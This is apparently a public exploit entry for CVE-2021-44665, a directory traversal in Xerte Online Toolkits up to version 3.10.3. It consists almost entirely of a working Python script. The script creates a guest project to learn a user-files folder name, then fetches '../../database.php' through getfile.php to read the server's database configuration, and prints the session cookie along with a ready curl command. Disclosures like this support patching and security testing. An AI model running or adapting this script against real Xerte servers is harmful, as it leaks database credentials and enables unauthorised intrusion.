[webapps] Xerte 3.10.3 - Directory Traversal (Authenticated)

# Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated) # Date: 05/03/2021 # Exploit Author: Rik Lutz # Vendor Homepage: https://xerte.org.uk # Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.9.zip # Version: up until 3.10.3 # Tested on: Windows 10 XAMP # CVE : CVE-2021-44665 # This PoC assumes guest login is enabled. Vulnerable url: # https://<host>/getfile.php?file=<user-direcotry>/../../database.php # You can find a userfiles-directory by creating a project and browsing the media menu. # Create new project from template -> visit "Properties" (! symbol) -> Media and Quota -> Click file to download # The userfiles-direcotry will be noted in the URL and/or when you download a file. # They look like: <numbers>-<username>-<templatename> import requests import re xerte_base_url = "http://127.0.0.1" file_to_grab = "/../../database.php" php_session_id = "" # If guest is not enabled, and you have a session ID. Put it here. with requests.Session() as session: # Get a PHP session ID if not php_session_id: session.get(xerte_base_url) else: session.cookies.set("PHPSESSID", php_session_id) # Use a default template data = { 'tutorialid': 'Nottingham', 'templatename': 'Nottingham', 'tutorialname': 'exploit', 'folder_id': '' } # Create a new project in order to create a user-folder template_id = session.post(xerte_base_url + '/website_code/php/templates/new_template.php', data=data) # Find template ID data = { 'template_id': re.findall('(\d+)', template_id.text)[0] } # Find the created user-direcotry: user_direcotry = session.post(xerte_base_url + '/website_code/php/properties/media_and_quota_template.php', data=data) user_direcotry = re.findall('USER-FILES\/([0-9]+-[a-z0-9]+-[a-zA-Z0-9_]+)', user_direcotry.text)[0] # Grab file result = session.get(xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab) print(result.text) print("|-- Used Variables: --|") print("PHP Session ID: " + session.cookies.get_dict()['PHPSESSID']) print("user direcotry: " + user_direcotry) print("Curl example:") print('curl --cookie "PHPSESSID=' + session.cookies.get_dict()['PHPSESSID'] + '" ' + xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)